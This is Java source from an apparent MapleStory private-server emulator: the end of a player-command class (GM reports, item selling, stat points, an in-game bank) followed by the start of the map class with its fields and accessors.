public boolean execute(MapleClient c, String[] splitted) {
boolean autoReply = false;
if (splitted.length < 2) {
return false;
}
String talk = StringUtil.joinStringFrom(splitted, 1);
if (c.getPlayer().isGM()) {
c.getPlayer().dropMessage(6, "因為你自己是GM所以無法使用此指令,可以嘗試!cngm <訊息> 來建立GM聊天頻道~");
} else {
if (!c.getPlayer().getCheatTracker().GMSpam(100000, 1)) { // 1 minutes.
boolean fake = false;
boolean showmsg = true;
// 管理員收不到,玩家有顯示傳送成功
if (MiMiConfig.getBlackList().containsKey(c.getAccID())) {
fake = true;
}
// 管理員收不到,玩家沒顯示傳送成功
if (talk.contains("搶") && talk.contains("圖")) {
c.getPlayer().dropMessage(1, "搶圖自行解決!!");
fake = true;
showmsg = false;
} else if ((talk.contains("被") && talk.contains("騙")) || (talk.contains("點") && talk.contains("騙"))) {
c.getPlayer().dropMessage(1, "被騙請自行解決");
fake = true;
showmsg = false;
} else if ((talk.contains("被") && talk.contains("盜"))) {
c.getPlayer().dropMessage(1, "被盜請自行解決");
fake = true;
showmsg = false;
} else if (talk.contains("刪") && ((talk.contains("角") || talk.contains("腳")) && talk.contains("錯"))) {
c.getPlayer().dropMessage(1, "刪錯角色請自行解決");
fake = true;
showmsg = false;
} else if (talk.contains("亂") && (talk.contains("名") && talk.contains("聲"))) {
c.getPlayer().dropMessage(1, "請自行解決");
fake = true;
showmsg = false;
} else if (talk.contains("改") && talk.contains("密") && talk.contains("碼")) {
c.getPlayer().dropMessage(1, "目前第二組密碼及密碼無法查詢及更改,");
fake = true;
showmsg = false;
}
// 管理員收的到,自動回復
if (((talk.contains("商人") || talk.contains("精靈")) && talk.contains("吃")) || (talk.contains("商店") && talk.contains("補償"))) {
c.getPlayer().dropMessage(1, "目前精靈商人裝備和楓幣有機率被吃\r\n如被吃了請務必將當時的情況完整描述給管理員\r\n\r\nPS: 不會補償任何物品");
autoReply = true;
} else if (talk.contains("檔") && talk.contains("案") && talk.contains("受") && talk.contains("損")) {
c.getPlayer().dropMessage(1, "檔案受損請重新解壓縮主程式唷");
autoReply = true;
}
if (showmsg) {
c.getPlayer().dropMessage(6, "訊息已經寄送給GM了!");
}
if (!fake) {
World.Broadcast.broadcastGMMessage(CWvsContext.serverNotice(6, "[管理員幫幫忙]頻道 " + c.getPlayer().getClient().getChannel() + " 玩家 [" + c.getPlayer().getName() + "] (" + c.getPlayer().getId() + "): " + talk + (autoReply ? " -- (系統已自動回復)" : "")));
}
FileoutputUtil.logToFile("logs/data/管理員幫幫忙.txt", "\r\n " + FileoutputUtil.NowTime() + " 玩家[" + c.getPlayer().getName() + "] 帳號[" + c.getAccountName() + "]: " + talk + (autoReply ? " -- (系統已自動回復)" : "") + "\r\n");
} else {
c.getPlayer().dropMessage(6, "為了防止對GM刷屏所以每1分鐘只能發一次.");
}
}
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("cgm - 跟GM回報").toString();
}
}
public static class 清除道具 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
MapleCharacter player = c.getPlayer();
if (splitted.length < 4 || player.hasBlockedInventory()) {
return false;
}
MapleInventory inv;
MapleInventoryType type;
String Column = "null";
int start = -1, end = -1;
try {
Column = splitted[1];
start = Integer.parseInt(splitted[2]);
end = Integer.parseInt(splitted[3]);
} catch (Exception ex) {
}
if (start == -1 || end == -1) {
return false;
}
if (start < 1) {
start = 1;
}
if (start > 96) {
start = 96;
}
if (end < 1) {
end = 1;
}
if (end > 96) {
end = 96;
}
switch (Column) {
case "裝備欄":
type = MapleInventoryType.EQUIP;
break;
case "消耗欄":
type = MapleInventoryType.USE;
break;
case "裝飾欄":
type = MapleInventoryType.SETUP;
break;
case "其他欄":
type = MapleInventoryType.ETC;
break;
case "特殊欄":
type = MapleInventoryType.CASH;
break;
default:
type = null;
break;
}
if (type == null) {
return false;
}
inv = c.getPlayer().getInventory(type);
boolean haveSummonedPet = false;
for (MaplePet pet : c.getPlayer().getPets()) {
if (pet.getSummoned()) {
haveSummonedPet = true;
break;
}
}
if (type == MapleInventoryType.CASH && haveSummonedPet) {
player.dropMessage("請先收起身上的寵物在使用清除道具指令!");
return true;
}
if (type == MapleInventoryType.ETC && c.getPlayer().haveItem(4031454, 1)) {
player.dropMessage("身上有獎杯唷,請存到倉庫後在使用本命令");
return true;
}
int totalMesosGained = 0;
for (byte i = (byte) start; i <= end; i++) {
if (inv.getItem((short) i) != null) {
MapleItemInformationProvider iii = MapleItemInformationProvider.getInstance();
int itemPrice = (int) iii.getPrice(inv.getItem((short) i).getItemId());
int amount = inv.getItem((short) i).getQuantity();
int itemQ = (amount > 1 ? amount : 1);
totalMesosGained += (itemPrice * itemQ);
itemPrice = 0;
MapleInventoryManipulator.removeFromSlot(c, type, i, inv.getItem(i).getQuantity(), true);
}
}
player.gainMeso(totalMesosGained < 0 ? 0 : (totalMesosGained / 2), true);
FileoutputUtil.logToFile("logs/data/玩家指令.txt", "\r\n " + FileoutputUtil.NowTime() + " IP: " + c.getSession().remoteAddress().toString().split(":")[0] + " 帳號: " + c.getAccountName() + " 玩家: " + c.getPlayer().getName() + " 使用了指令 " + StringUtil.joinStringFrom(splitted, 0) + " 得到了: " + totalMesosGained);
c.getPlayer().dropMessage("你的欄位位子從 " + start + " 賣到 " + end + ", 得到了 " + (totalMesosGained / 2) + " 元.");
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("清除道具 <裝備欄/消耗欄/裝飾欄/其他欄/特殊欄> <開始格數> <結束格數>").toString();
}
}
public static class 存檔 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
if (!c.getPlayer().getCheatTracker().SaveSpam(200000, 1)) {
if (!World.isPlayerSaving(c.getAccID())) {
c.getPlayer().saveToDB(false, false);
}
c.getPlayer().dropMessage(6, "[訊息] 保存成功!");
} else {
c.getPlayer().dropMessage(6, "存檔冷卻中請兩分鐘後再使用.");
}
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("save - 存檔").toString();
}
}
public static class pee extends CommandExecute { //尿尿系統
@Override
public boolean execute(MapleClient c, String[] splitted) {
MapleCharacter player = c.getPlayer();
if (player.getPee() <= 29) {
player.dropMessage("[身體]: 我不是真的有心情去撒尿。請稍後再試.");
} else if (player.getMapId() != 809000201 && player.getMapId() != 809000101) {
player.dropMessage("[身體]: 你瘋了嗎! 我才不要在大庭廣眾下尿尿. 到廁所去尿!");
} else {
player.dropMessage("[身體]: 哇,多謝! 感覺更好了!");
player.setPee(0);
if (!player.isGM()) {
//World.Broadcast.broadcastMessage(CWvsContext.serverNotice(6, player.getName() + " 剛剛去尿尿了!"));
}
}
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("pee - 尿尿").toString();
}
}
// 快速點能力指令
public static class STR extends DistributeStatCommands {
public STR() {
stat = MapleStat.STR;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("STR <數量> - 快速點力量").toString();
}
}
public static class DEX extends DistributeStatCommands {
public DEX() {
stat = MapleStat.DEX;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("DEX <數量> - 快速點敏捷").toString();
}
}
public static class INT extends DistributeStatCommands {
public INT() {
stat = MapleStat.INT;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("INT <數量> - 快速點智力").toString();
}
}
public static class LUK extends DistributeStatCommands {
public LUK() {
stat = MapleStat.LUK;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("LUK <數量> - 快速點幸運").toString();
}
}
public abstract static class DistributeStatCommands extends CommandExecute {
private static int statLim = 32767;
private static int statLow = 4;
private static int LOW = 0;
protected MapleStat stat = null;
private void setStat(MapleCharacter chr, int amount) {
switch (stat) {
case STR:
chr.getStat().setStr((short) amount, chr);
chr.updateSingleStat(MapleStat.STR, chr.getStat().getStr());
break;
case DEX:
chr.getStat().setDex((short) amount, chr);
chr.updateSingleStat(MapleStat.DEX, chr.getStat().getDex());
break;
case INT:
chr.getStat().setInt((short) amount, chr);
chr.updateSingleStat(MapleStat.INT, chr.getStat().getInt());
break;
case LUK:
chr.getStat().setLuk((short) amount, chr);
chr.updateSingleStat(MapleStat.LUK, chr.getStat().getLuk());
break;
}
}
private int getStat(MapleCharacter chr) {
switch (stat) {
case STR:
return chr.getStat().getStr();
case DEX:
return chr.getStat().getDex();
case INT:
return chr.getStat().getInt();
case LUK:
return chr.getStat().getLuk();
default:
throw new RuntimeException(); //Will never happen.
}
}
@Override
public boolean execute(MapleClient c, String[] splitted) {
if (splitted.length < 2) {
return false;
}
int change = 0;
try {
change = Integer.parseInt(splitted[1]);
} catch (NumberFormatException nfe) {
return false;
}
if (change <= 0) {
c.getPlayer().dropMessage(6, "您必需輸入大於0的數字.");
return true;
}
if (LOW == 1 && c.getPlayer().getRemainingAp() != 0 && change < 0) {
c.getPlayer().dropMessage("您的能力值尚未重製完,還剩下" + c.getPlayer().getRemainingAp() + "點沒分配");
return true;
} else {
LOW = 0;
}
if (c.getPlayer().getRemainingAp() < change) {
c.getPlayer().dropMessage(6, "您的AP不足.");
return true;
}
if (getStat(c.getPlayer()) + change > statLim) {
c.getPlayer().dropMessage(6, "能力值不能高於 " + statLim + ".");
return true;
}
if (getStat(c.getPlayer()) + change < statLow) {
c.getPlayer().dropMessage("能力值不能低於 " + statLow + ".");
return true;
}
setStat(c.getPlayer(), getStat(c.getPlayer()) + change);
c.getPlayer().setRemainingAp((short) (c.getPlayer().getRemainingAp() - change));
c.getPlayer().updateSingleStat(MapleStat.AVAILABLEAP, c.getPlayer().getRemainingAp());
int a = change;
if (change < 0) {
c.getPlayer().dropMessage("重製AP完成,現在有" + c.getPlayer().getRemainingAp() + "點可以分配");
LOW = 1;
}
int b = Math.abs(a);
c.getPlayer().dropMessage((change >= 0 ? "增加" : "減少") + stat.name() + b + "點");
FileoutputUtil.logToFile("logs/data/玩家快速點能力指令.txt", "\r\n " + FileoutputUtil.NowTime() + " IP: " + c.getSession().remoteAddress().toString().split(":")[0] + " 帳號: " + c.getAccountName() + " 玩家: " + c.getPlayer().getName() + " 使用了指令 " + StringUtil.joinStringFrom(splitted, 0) + (change >= 0 ? "增加" : "減少") + stat.name() + b + "點");
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("STR/DEX/INT/LUK <數量> 快速點能力值").toString();
}
}
public static class 穿副武器 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
if (c.getPlayer().getLevel() < 20) {
c.getPlayer().dropMessage(5, "等級必須大於20等.");
return true;
}
if (GameConstants.isDB(c.getPlayer().getJob())) {
short src = (short) 1;
short ssrc = (short) -110;
Item toUse = c.getPlayer().getInventory(MapleInventoryType.EQUIP).getItem(src);
Item toEUse = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem(ssrc);
if (toUse == null || toUse.getQuantity() < 1 || !ItemConstants.is透明短刀(toUse.getItemId())) {
c.getPlayer().dropMessage(6, "穿戴錯誤,裝備欄第 " + src + " 個是空的,或者該道具不是透明短刀。");
return true;
} else if (toEUse != null) {
c.getPlayer().dropMessage(6, "穿戴錯誤,已經有穿戴相同透明短刀了。");
return true;
}
MapleInventoryManipulator.equip(c, src, (short) -110);
c.getPlayer().dropMessage(6, "[副武器] 穿戴成功!");
return true;
} else if (GameConstants.isJett(c.getPlayer().getJob())) {
short src = (short) 1;
short ssrc = (short) -10;
Item toUse = c.getPlayer().getInventory(MapleInventoryType.EQUIP).getItem(src);
Item toEUse = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem(ssrc);
if (toUse == null || toUse.getQuantity() < 1 || !ItemConstants.is寶盒(toUse.getItemId())) {
c.getPlayer().dropMessage(6, "穿戴錯誤,裝備欄第 " + src + " 個是空的,或者該道具不是寶盒。");
return true;
} else if (toEUse != null) {
c.getPlayer().dropMessage(6, "穿戴錯誤,已經有穿戴相同寶盒了。");
return true;
}
MapleInventoryManipulator.equip(c, src, (short) -10);
c.getPlayer().dropMessage(6, "[副武器] 穿戴成功!");
return true;
} else {
return false;
}
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("穿副武器 - 讓影武者穿透明雙刀").toString();
}
}
public static class 取下副武器 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
if (GameConstants.isDB(c.getPlayer().getJob())) {
Item toUse = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((short) -110);
if (toUse == null || c.getPlayer().getInventory(MapleInventoryType.EQUIP).isFull()) {
c.getPlayer().dropMessage(6, "取下副武器錯誤,副武器位置當前空的道具,或者裝備欄已滿。");
return true;
}
MapleInventoryManipulator.unequip(c, (byte) -110, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
c.getPlayer().dropMessage(6, "[副武器] 取下成功!");
return true;
} else {
Item toUse = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((short) -10);
if (toUse == null || c.getPlayer().getInventory(MapleInventoryType.EQUIP).isFull()) {
c.getPlayer().dropMessage(6, "取下副武器錯誤,副武器位置當前空的道具,或者裝備欄已滿。");
return true;
}
MapleInventoryManipulator.unequip(c, (byte) -10, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
c.getPlayer().dropMessage(6, "[副武器] 取下成功!");
return true;
}
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("取下副武器 - 針對職業取下副武器問題").toString();
}
}
public static class 脫身上騎寵道具 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
Item toUse1 = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((short) -18);
Item toUse2 = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((short) -19);
Item toUse3 = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((short) -118);
Item toUse4 = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((short) -119);
if (c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNumFreeSlot() <= 4) {
c.getPlayer().dropMessage(6, "脫身上騎寵道具錯誤,請確認裝備欄是否有4格空位。");
return true;
}
if (toUse1 != null) {
MapleInventoryManipulator.unequip(c, (byte) -18, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
if (toUse2 != null) {
MapleInventoryManipulator.unequip(c, (byte) -19, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
if (toUse3 != null) {
MapleInventoryManipulator.unequip(c, (byte) -118, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
if (toUse4 != null) {
MapleInventoryManipulator.unequip(c, (byte) -119, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
c.getPlayer().dropMessage(6, "[騎寵道具] 取下成功!");
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("脫身上騎寵道具 - 針對職業脫身上騎寵道具問題").toString();
}
}
public static class 清除重新購買 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
c.getPlayer().setClearRebuy();
c.getPlayer().dropMessage(6, "成功清除商店重新購買清單");
FileoutputUtil.logToFile("logs/data/指令清除重新購買.txt", "\r\n " + FileoutputUtil.NowTime() + " IP: " + c.getSession().remoteAddress().toString().split(":")[0] + " 帳號: " + c.getAccountName() + " 玩家: " + c.getPlayer().getName() + " 職業: " + MapleJob.getById(c.getPlayer().getJob()) + " 地圖: " + c.getPlayer().getMapId() + " 使用了指令 " + StringUtil.joinStringFrom(splitted, 0));
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(PlayerGMRank.普通玩家.getCommandPrefix()).append("清除所有重新購買的清單").toString();
}
}
public static class 提錢 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
if (splitted.length < 2) {
return false;
}
String input = null;
long money = 0;
try {
input = splitted[1];
money = Long.parseLong(input);
} catch (Exception ex) {
return false;
}
if (money <= 0) {
c.getPlayer().dropMessage(-1, "[銀行系統] 不能給負數或是0");
} else if (c.getPlayer().getMesoFromBank() < money) {
c.getPlayer().dropMessage(-1, "[銀行系統] 銀行內只有" + money + "錢");
} else if (money > 2100000000) {
c.getPlayer().dropMessage(-1, "[銀行系統] 一次只能提21E以內的錢");
} else if (money + c.getPlayer().getMeso() > 2100000000 || money + c.getPlayer().getMeso() < 0) {
c.getPlayer().dropMessage(-1, "[銀行系統] 領的錢+身上的錢無法超過21E");
} else {
// 身上給錢
c.getPlayer().gainMeso((int) (money), true);
// 銀行扣錢
c.getPlayer().decMoneytoBank(money);
c.getPlayer().dropMessage(-1, "[銀行系統] 您已經提出 " + money + "錢");
FileoutputUtil.logToFile("logs/openlog/銀行取出.txt", "取出時間:" + FileoutputUtil.NowTime() + "帳號編號:" + c.getPlayer().getAccountID() + " 角色名稱:" + c.getPlayer().getName() + " 取出金額: " + money + "銀行剩餘:" + c.getPlayer().getMesoFromBank() + "\r\n");
}
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("存錢 <錢> - 存錢到自己銀行").toString();
}
}
public static class 存錢 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
if (splitted.length < 2) {
return false;
}
String input = null;
long money = 0;
try {
input = splitted[1];
money = Long.parseLong(input);
} catch (Exception ex) {
return false;
}
if (money <= 0) {
c.getPlayer().dropMessage(-1, "[銀行系統] 不能給負數或是0");
} else if (money > 2100000000) {
c.getPlayer().dropMessage(-1, "[銀行系統] 一次只能存21E以內的錢");
} else if (c.getPlayer().getMeso() < money) {
c.getPlayer().dropMessage(-1, "[銀行系統] 目前您的身上裡沒有" + money + "錢");
} else {
// 身上扣錢
c.getPlayer().gainMeso((int) (-money), true);
// 銀行存錢
c.getPlayer().incMoneytoBank(money);
c.getPlayer().dropMessage(-1, "[銀行系統] 您已經存入 " + money + "錢");
FileoutputUtil.logToFile("logs/openlog/銀行存入.txt", "存入時間:" + FileoutputUtil.NowTime() + "帳號編號:" + c.getPlayer().getAccountID() + " 角色名稱:" + c.getPlayer().getName() + " 存入金額: " + money + "銀行餘額:" + c.getPlayer().getMesoFromBank() + "\r\n");
}
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("存錢 <錢> - 存錢到自己銀行").toString();
}
}
public static class 轉帳 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
if (splitted.length < 3) {
return false;
}
MapleCharacter victim = null;
String input = null;
long money = 0;
int ch = -1;
try {
input = splitted[1];
money = Long.parseLong(splitted[2]);
ch = World.Find.findChannel(input);
victim = World.Find.findChr(input);
} catch (Exception ex) {
return false;
}
if (money <= 0) {
c.getPlayer().dropMessage(-1, "[銀行系統] 不能給負數或是0");
} else if (victim == null) {
c.getPlayer().dropMessage(-1, "[銀行系統] 對方(" + input + ")不在線上");
} else if (ch == -10) {
c.getPlayer().dropMessage(-1, "[銀行系統] 對方目前在商城內");
} else if (victim.getAccountID() == c.getAccID()) {
c.getPlayer().dropMessage(-1, "[銀行系統] 無法給予自己錢。");
} else if (victim.getGMLevel() > c.getPlayer().getGMLevel()) {
c.getPlayer().dropMessage(-1, "[銀行系統] 無法給予" + victim.getName() + "錢。");
} else if (c.getPlayer().getMesoFromBank() < money) {
c.getPlayer().dropMessage(-1, "[銀行系統] 目前您的銀行裡沒有" + money + "錢");
} else {
// 從自己銀行扣錢
c.getPlayer().decMoneytoBank(money);
// 到對方銀行給錢
victim.incMoneytoBank(money);
c.getPlayer().dropMessage(-1, "[銀行系統] 您已經給予" + victim.getName() + ": " + money);
victim.dropMessage(-1, "[銀行系統] " + c.getPlayer().getName() + "給予您 " + money);
FileoutputUtil.logToFile("logs/openlog/銀行系統.txt", "\r\n" + FileoutputUtil.NowTime() + " 帳號編號: (" + c.getAccID() + ")" + c.getPlayer().getName() + " 給了 帳號編號: (" + victim.getAccountID() + ")" + victim.getName() + " " + money + "錢\r\n" + "總結:" + c.getPlayer().getName() + " 原本:" + (c.getPlayer().getMesoFromBank() + money) + " 剩餘:" + c.getPlayer().getMesoFromBank() + " " + victim.getName() + " 原本:" + (victim.getMesoFromBank() - money) + " 獲得後:" + victim.getMesoFromBank());
}
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("轉帳 <名字> <錢> - 給對方自己銀行的錢").toString();
}
}
public static class 生活滿 extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
c.getPlayer().maxTeachSkills();
c.getPlayer().dropMessage(6, "生活技能已經滿等。");
return true;
}
@Override
public String getMessage() {
return new StringBuffer().append(PlayerGMRank.普通玩家.getCommandPrefix()).append("生技滿 - 把生活技能全滿").toString();
}
}
} | maplestorysf/TwMs149 | src/client/messages/commands/PlayerCommand.java |
65,441 | /*
This file is part of the OdinMS Maple Story Server
Copyright (C) 2008 ~ 2010 Patrick Huy <[email protected]>
Matthias Butz <[email protected]>
Jan Christian Meyer <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License version 3
as published by the Free Software Foundation. You may not use, modify
or distribute this program under any other version of the
GNU Affero General Public License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package server.maps;
import scripting.MapScriptMethods;
import client.MapleBuffStat;
import client.MapleCharacter;
import client.MapleClient;
import client.MapleJob;
import client.MonsterFamiliar;
import client.MonsterStatus;
import client.MonsterStatusEffect;
import client.inventory.Equip;
import client.inventory.Item;
import client.inventory.MapleInventoryType;
import client.inventory.MaplePet;
import constants.GameConstants;
import constants.QuickMove;
import constants.QuickMove.QuickMoveNPC;
import constants.ZZMSConfig;
import database.DatabaseConnection;
import handling.channel.ChannelServer;
import handling.world.PartyOperation;
import handling.world.World;
import handling.world.exped.ExpeditionType;
import java.awt.Point;
import java.awt.Rectangle;
import java.lang.ref.WeakReference;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Calendar;
import java.util.Collection;
import java.util.Collections;
import java.util.EnumMap;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;
import scripting.EventManager;
import server.MapleCarnivalFactory;
import server.MapleCarnivalFactory.MCSkill;
import server.MapleInventoryManipulator;
import server.MapleItemInformationProvider;
import server.MaplePortal;
import server.MapleSquad;
import server.MapleSquad.MapleSquadType;
import server.MapleStatEffect;
import server.Randomizer;
import server.SpeedRunner;
import server.Timer.EtcTimer;
import server.Timer.MapTimer;
import server.events.MapleEvent;
import server.life.MapleLifeFactory;
import server.life.MapleMonster;
import server.life.MapleMonsterInformationProvider;
import server.life.MapleNPC;
import server.life.MonsterDropEntry;
import server.life.MonsterGlobalDropEntry;
import server.life.SpawnPoint;
import server.life.SpawnPointAreaBoss;
import server.life.Spawns;
import server.maps.MapleNodes.DirectionInfo;
import server.maps.MapleNodes.MapleNodeInfo;
import server.maps.MapleNodes.MaplePlatform;
import server.maps.MapleNodes.MonsterPoint;
import server.quest.MapleQuest;
import tools.FileoutputUtil;
import tools.Pair;
import tools.StringUtil;
import tools.packet.CField;
import tools.packet.CField.EffectPacket;
import tools.packet.CField.NPCPacket;
import tools.packet.CField.SummonPacket;
import tools.packet.MobPacket;
import tools.packet.PetPacket;
import tools.packet.CWvsContext;
import tools.packet.CWvsContext.PartyPacket;
import tools.packet.JobPacket.PhantomPacket;
import tools.packet.SkillPacket;
import tools.packet.provider.SpecialEffectType;
public final class MapleMap {
/*
* Holds mappings of OID -> MapleMapObject separated by MapleMapObjectType.
* Please acquire the appropriate lock when reading and writing to the LinkedHashMaps.
* The MapObjectType Maps themselves do not need to synchronized in any way since they should never be modified.
*/
private final Map<MapleMapObjectType, LinkedHashMap<Integer, MapleMapObject>> mapobjects;
private final Map<MapleMapObjectType, ReentrantReadWriteLock> mapobjectlocks;
private final List<MapleCharacter> characters = new ArrayList<>();
private final ReentrantReadWriteLock charactersLock = new ReentrantReadWriteLock();
private int runningOid = 500000;
private final Lock runningOidLock = new ReentrantLock();
private final List<Spawns> monsterSpawn = new ArrayList<>();
private final AtomicInteger spawnedMonstersOnMap = new AtomicInteger(0);
private final Map<Integer, MaplePortal> portals = new HashMap<>();
private MapleFootholdTree footholds = null;
private float monsterRate, recoveryRate;
private MapleMapEffect mapEffect;
private final byte channel;
private short decHP = 0, createMobInterval = 9000, top = 0, bottom = 0, left = 0, right = 0;
private int consumeItemCoolTime = 0, protectItem = 0, decHPInterval = 10000, mapid, returnMapId, timeLimit,
fieldLimit, maxRegularSpawn = 0, fixedMob, forcedReturnMap = 999999999, instanceid = -1,
lvForceMove = 0, lvLimit = 0, permanentWeather = 0, partyBonusRate = 0;
private boolean town, clock, personalShop, everlast = false, dropsDisabled = false, gDropsDisabled = false,
soaring = false, squadTimer = false, isSpawns = true, checkStates = true;
private String mapName, streetName, onUserEnter, onFirstUserEnter, speedRunLeader = "";
private final List<Integer> dced = new ArrayList<>();
private ScheduledFuture<?> squadSchedule;
private long speedRunStart = 0, lastSpawnTime = 0, lastHurtTime = 0;
private MapleNodes nodes;
private MapleSquadType squad;
private final Map<String, Integer> environment = new LinkedHashMap<>();
private WeakReference<MapleCharacter> changeMobOrigin = null;
public MapleMap(final int mapid, final int channel, final int returnMapId, final float monsterRate) {
this.mapid = mapid;
this.channel = (byte) channel;
this.returnMapId = returnMapId;
if (this.returnMapId == 999999999) {
this.returnMapId = mapid;
}
if (GameConstants.getPartyPlay(mapid) > 0) {
this.monsterRate = (monsterRate - 1.0f) * 2.5f + 1.0f;
} else {
this.monsterRate = monsterRate;
}
EnumMap<MapleMapObjectType, LinkedHashMap<Integer, MapleMapObject>> objsMap = new EnumMap<>(MapleMapObjectType.class);
EnumMap<MapleMapObjectType, ReentrantReadWriteLock> objlockmap = new EnumMap<>(MapleMapObjectType.class);
for (MapleMapObjectType type : MapleMapObjectType.values()) {
objsMap.put(type, new LinkedHashMap<Integer, MapleMapObject>());
objlockmap.put(type, new ReentrantReadWriteLock());
}
mapobjects = Collections.unmodifiableMap(objsMap);
mapobjectlocks = Collections.unmodifiableMap(objlockmap);
}
public final void setSpawns(final boolean fm) {
this.isSpawns = fm;
}
public final boolean getSpawns() {
return isSpawns;
}
public final void setFixedMob(int fm) {
this.fixedMob = fm;
}
public final void setForceMove(int fm) {
this.lvForceMove = fm;
}
public final int getForceMove() {
return lvForceMove;
}
public final void setLevelLimit(int fm) {
this.lvLimit = fm;
}
public final int getLevelLimit() {
return lvLimit;
}
public final void setReturnMapId(int rmi) {
this.returnMapId = rmi;
}
public final void setSoaring(boolean b) {
this.soaring = b;
}
public final boolean canSoar() {
return soaring;
}
public final void toggleDrops() {
this.dropsDisabled = !dropsDisabled;
}
public final void setDrops(final boolean b) {
this.dropsDisabled = b;
}
public final void toggleGDrops() {
this.gDropsDisabled = !gDropsDisabled;
}
public final int getId() {
return mapid;
}
public final MapleMap getReturnMap() {
return ChannelServer.getInstance(channel).getMapFactory().getMap(returnMapId);
}
public final int getReturnMapId() {
return returnMapId;
}
public final int getForcedReturnId() {
return forcedReturnMap;
}
public final MapleMap getForcedReturnMap() {
return ChannelServer.getInstance(channel).getMapFactory().getMap(forcedReturnMap);
}
public final void setForcedReturnMap(final int map) {
if (GameConstants.isCustomReturnMap(mapid)) {
this.forcedReturnMap = GameConstants.getCustomReturnMap(mapid);
} else {
this.forcedReturnMap = map;
}
}
public final float getRecoveryRate() {
return recoveryRate;
}
public final void setRecoveryRate(final float recoveryRate) {
this.recoveryRate = recoveryRate;
}
public final int getFieldLimit() {
return fieldLimit;
}
public final void setFieldLimit(final int fieldLimit) {
this.fieldLimit = fieldLimit;
}
public final void setCreateMobInterval(final short createMobInterval) {
this.createMobInterval = createMobInterval;
}
public final void setTimeLimit(final int timeLimit) {
this.timeLimit = timeLimit;
}
public final void setMapName(final String mapName) {
this.mapName = mapName;
}
public final String getMapName() {
return mapName;
}
public final String getStreetName() {
return streetName;
}
public final void setFirstUserEnter(final String onFirstUserEnter) {
this.onFirstUserEnter = onFirstUserEnter;
}
public final void setUserEnter(final String onUserEnter) {
this.onUserEnter = onUserEnter;
}
public final String getFirstUserEnter() {
return onFirstUserEnter;
}
public final String getUserEnter() {
return onUserEnter;
}
public final boolean hasClock() {
return clock;
}
public final void setClock(final boolean hasClock) {
this.clock = hasClock;
}
public final boolean isTown() {
return town;
}
public final void setTown(final boolean town) {
this.town = town;
}
